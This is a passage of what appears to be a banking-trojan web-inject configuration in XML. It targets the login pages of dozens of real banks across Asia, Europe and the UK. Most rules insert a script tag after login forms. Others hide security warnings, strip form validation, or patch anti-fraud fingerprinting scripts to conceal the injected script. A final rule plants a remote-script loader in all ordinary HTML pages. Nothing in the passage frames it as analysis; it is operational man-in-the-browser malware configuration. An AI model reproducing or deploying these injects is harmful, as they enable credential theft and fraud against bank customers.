]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://singapore\.lbbw\-business\.com/LBBWCorpWeb/login/.+\.action(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://mcm\.bankmandiri\.co\.id/corp/common/login\.do\?action=login
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://mib\.bankmandiri\.co\.id/sme/common/login\.do\?action=login
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.maybank2u\.com\.my/mbb/m2u/common/mbbLoginCheckAdapt\.do
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.maybank2u\.com\.my/mbb/m2uNOW/common/mbbLoginCheckAdapt\.do
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://sslsecure\.maybank\.com\.sg/cgi\-bin/mbs/scripts/mbb\_login\.jsp(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.maybank2e\.net/M2E/mbbcustomer/
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://cbs\.ncbchina\.cn/corporbank/login\_basic\_e\.jsp(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://bbmy\.ocbc\.com
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://elementa\.otpbanka\.hr/gradjani/.*/foweb/nb/eLEMENTa
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.otpbanka\.hr/english/welcome\.htm
/url><url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.otpbanka\.hr/html/dobrodosli\.htm
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[onclick="provjera_fp
]></pattern><replacement
<![CDATA[onclick="window.location.href='https://elementa.otpbanka.hr/gradjani/OTP-gradjani.exe/foweb/nb/eLEMENTa';return false;this.focus
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://net\.pbz\.hr/pbz365/logon.*
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://comnet\.pbz\.hr/PbzComnetWeb/app/logon\.html
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.permatae\-business\.com/corp/common/login\.do\?action=login
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://e\-finance\.postfinance\.ch/(ef/secure|secure/fp)/html/
/url><!----></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://direkt\.rba\.hr/cgi\-bin/ppz2/start/rbat\.jsp
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://access\.rbsm\.com/logon/(password|dp300)/.+\.fcc(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://logon\.reflex\.rhbbank\.com\.my/rhbcams/corporate/login\.jsp
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.sbnet\.splitskabanka\.hr/priv/.*/dciweb\.htm
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://mcsign\.ba\-ca\.com/smartoffice/\_mcologon\?\.\.OASLogon
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://s2b\.standardchartered\.com/ssoapp/(login\.jsp|core\.security\.login\.event)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify><modify
<pattern
modifiers
><![CDATA[div class="scbLoginImpContainer01"
]></pattern><replacement
<![CDATA[div class="scbLoginImpContainer01" style="display:none;"
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://sme\.standardchartered\.com/commonapp/core\.security\.vascochallenge\.event
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ibank\.standardchartered\.com\.hk/nfs/login\.htm(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ibank\.standardchartered\.com\.sg/nfs/login\.htm(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.onlinesbiglobal\.com/\S+/BANKAWAY($|\?|\;)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ebanking\-ch\d+\.ubs\.com/workbench/Index\.do
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
        <!--
        <script type="text/javascript" language="JavaScript">
          setTimeout(function() {
            document.body.style.visibility = 'visible';
          }, 7000);
        </script>
        -->

]></replacement></modify><modify
<pattern
modifiers
><![CDATA[(div id="div_securityinfo_content")
]></pattern><replacement
<![CDATA[\1 style="visibility:hidden;"
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.ucoebanking\.com/BankAwayRetail/.*/web/L001/retail/jsp/user/CorporateSignOn\.aspx(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
"isA
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://uniservices\d*\.uobgroup\.com/(ELO/login\.jsp|wpe/ca/login\.do|wpe/ca/loginForm\.jsp)(\;|\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://biz\.uob\.com\.my/ELO/login\.jsp
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.vietcombank\.com\.vn/ibanking/Default\.aspx
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify><modify
<pattern
modifiers
><![CDATA[color: Red; font\-weight: bold;
]></pattern><replacement
<![CDATA[color: Red; font-weight: bold; display:none;
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.vietinbank\.vn/ipay/vbh/login\.do
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify><modify
<pattern
modifiers
"isU
><![CDATA[\$\("#login"\)\.validationEngine \(\{.*\}\);
]></pattern><replacement
<![CDATA[
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.winglungbank\.com/corpbanking/logon/CbHomLogonInp\.jsp(\?|$)
/url></conditions><actions
<modify
<pattern
modifiers
"isA
><![CDATA[(.+</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.zaba\.hr/ebank/gradjani/InnerLogin\.jsp
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.irakyat\.com\.my/retail/security/commonLogin\.jsp
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.mybsn\.com\.my/mybsn/login/login\.do
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ibank\.bni\.co\.id/corp/AuthenticationController
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="ibank/scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ib\.bri\.co\.id/ib\-bri/Login\.html
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ib\.bankmandiri\.co\.id/retail/Login\.do
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.danamonline\.com/onlinebanking/Login/lgn_new\.aspx
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://ibank\.klikbca\.com
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</html>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.hsbc\.co\.uk/1/2/
/url></conditions><actions
<modify
<pattern
modifiers
"msU
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://bank\.barclays\.co\.uk/olb/auth/LoginLink\.action
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</body>)
]></pattern><replacement
<![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>\1
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://secure\.cafbank\.org
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://cardsonline\-commercial\.com/RBSG\_Commercial/.*Login\.do
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</htQQQQQml>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://.*/fi\d+/bb/logon
/url></conditions><actions
<modify
<pattern
modifiers
"imsU
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>ya\.ru
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[<title>
]></pattern><replacement
<![CDATA[<title>XXXYA:
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.pekaobiznes24\.pl/do/login
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
><![CDATA[^https://www\.nwolb\.com/Brands/RSA_js/fp_AA\.js
]></url><url
type
"deny
 onpost
 onget
 modifiers
>\.(gif|png|jpg|css|swf)($|\?)
/url><!----></conditions><actions
<modify
<pattern
modifiers
"msU
><![CDATA[j\.dom_data\.scripts\=\[\];[^\}]+\}
]></pattern><replacement
<![CDATA[j.dom_data.scripts=[];
var offset2 = 0;
for (var a = 0;a < b.length;a++) {
if(b[a].src && (b[a].src).indexOf('loadiconlib.js') !== -1)
{offset2++;continue;}
j.dom_data.scripts[a-offset2] = b[a].text.length}
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
><![CDATA[^https://chat\.nwolb\.com/nwbpwebassets/bottom\.js
]></url><url
type
"deny
 onpost
 onget
 modifiers
>\.(gif|png|jpg|css|swf)($|\?)
/url><!----></conditions><actions
<modify
<pattern
modifiers
"msU
><![CDATA[\}\}if\(!h\)
]></pattern><replacement
<![CDATA[}if(a[b][f] && (''+a[b][f]).indexOf('loadiconlib.js') !== -1) {h = true;break}}if(!h)
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://.*/banque/sso/co/connexionsec\.do
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify><modify
<pattern
modifiers
><![CDATA[ff\.yc\(\);
]></pattern><replacement
<![CDATA[
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://.*/co_statiqu111111e/js/auth\-min\.js
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[ce:g
]></pattern><replacement
<![CDATA[ce:'4'
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://.*\.banquepopulaire\.fr/(auth/UI/Login|WebSSO_BP/_\d+/index\.html)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify><modify
<pattern
modifiers
><![CDATA[(id="infoFrame")
]></pattern><replacement
<![CDATA[\1 style="display:none;"
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://entreprises\.societegenerale\.fr
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://professionnels\.societegenerale\.fr
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://particuliers\.societegenerale\.fr
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://egyptnet\.bnpparibas\.com/part/.*/dciweb\.htm\?p0=idesai\.tht
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.cic\.fr/fr/
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</body>)
]></pattern><replacement
<![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>\1
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://.*\.credit\-agricole\.fr/stb/entreeBam
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</body>)
]></pattern><replacement
<![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>\1
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.creditmutuel\.fr/groupe/fr/index\.html
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.hsbc\.fr/1/2/hsbc\-france/entreprises\-institutionnels/connexion
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</body>)
]></pattern><replacement
<![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>\1
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://particuliers\.secure.lcl\.fr/outil/UAUT
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://voscomptesenligne\.labanquepostale\.fr/wsost/OstBrokerWeb/loginform
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://connexis\.bnpparibas\.com/
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://entreprises\.bnpparibas\.net/(NSAccess|NSFR)
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</body>)
]></pattern><replacement
<![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>\1
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
>^https://www\.caisse\-epargne\.fr/(particuliers|espace\-pro|entreprises|economie\-sociale).*ind_pauthpopup\.aspx
/url></conditions><actions
<modify
<pattern
modifiers
><![CDATA[(</form>)
]></pattern><replacement
<![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/loadiconlib.js"></script>
]></replacement></modify></actions></httpinject><httpinject
<conditions
<url
type
"allow
 onpost
 onget
 modifiers
 contentType
"^text/(html|plain)
>^https://.+
/url><url
type
"deny
>(bank|sagepay|creditmutuel|\.(css|js|png|gif|jpg|jpeg|ico|swf|pdf|txt)($|\?))
/url></conditions><actions
<modify
<pattern
modifiers
"iUms
><![CDATA[(<head.*>.+?<body.*>)
]></pattern><replacement
<![CDATA[
<script id='inj_add_cc' name='inj_add_cc' type='text/javascript'>(function(){navigator.bot_id_cc='BOT_ID';var s_u=['ya.ru','rambler.ru','mail','bank','yahoo','live.com','aol.com','google','bing','pekao','pkobp'],i,tmp;for (i=0; i<s_u.length; i++){tmp=new RegExp(s_u[i]);if (tmp.test(document.location.href)) {destroy();delete navigator.bot_id_cc;return true;}}document.write('<scr'+'ipt id="inj_inj_cc" name="inj_inj_cc" type="text/javascript" src="https://'+document.location.host+'/support/googleanaliticsmboxface.cgi/______ooo0__00ooooOOOo0000___/content/cc/__n.js?r='+Number(new Date())+'"></scr'+'ipt>'); function destroy (){try{document.scripts.inj_add_cc.parentNode.removeChild(document.scripts.inj_add_cc)}catch(err) {var a=document.getElementById('inj_add_cc');a.parentNode.removeChild(a)}}}())</script>
]></replacement></modify></actions></httpinject></httpinjects></settings></root